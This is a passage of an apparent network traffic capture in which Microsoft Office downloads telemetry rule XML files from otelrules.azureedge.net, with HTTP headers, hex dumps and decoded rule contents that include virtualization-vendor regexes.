version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.8	49912	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:01 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:01 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:01 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: fafd7d00-e01e-00aa-3a63-3bceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190001Z-178bfbc474bgvl54hC1NYCsfuw00000001sg00000000w6f3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:01 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.8	49913	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:02 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:02 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190002Z-178bfbc474bgvl54hC1NYCsfuw00000001wg00000000bp27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.8	49914	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:03 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:03 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 302889d7-401e-0047-2e63-3b8597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190003Z-178bfbc474bp8mkvhC1NYCzqnn00000001pg00000000q6ku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:03 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.8	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:03 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: d5b120ed-d01e-0017-3f65-3bb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190003Z-178bfbc474bfw4gbhC1NYCunf400000001x000000000cv9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.8	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:03 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:03 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:03 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190003Z-178bfbc474bscnbchC1NYCe7eg00000001wg000000013g2b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:03 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.8	49917	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:03 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:04 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190004Z-r1d97b995778dpcthC1TEB4b540000000as0000000002wzk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:04 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.8	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:04 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190005Z-178bfbc474bbbqrhhC1NYCvw74000000022g000000008n75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.8	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:05 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:05 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5556881b-d01e-008e-6531-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190005Z-178bfbc474bv587zhC1NYCny5w00000001sg00000000ect2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:06 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.8	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:05 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:06 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:05 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8176cca2-201e-0003-2c64-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190005Z-178bfbc474bwh9gmhC1NYCy3rs00000001wg00000000qqz0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:06 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.8	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:05 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:06 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190006Z-1777c6cb754ww792hC1TEBzqu40000000beg00000000028m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:06 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.8	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:05 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:06 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190006Z-1777c6cb754xrr98hC1TEB3kag0000000b9g00000000ne1g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:06 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.8	49923	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 19:00:07 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 19:00:07 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 19:00:07 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T190007Z-1777c6cb754xlpjshC1TEBv8cc0000000bhg00000000u7sd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 19:00:07 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

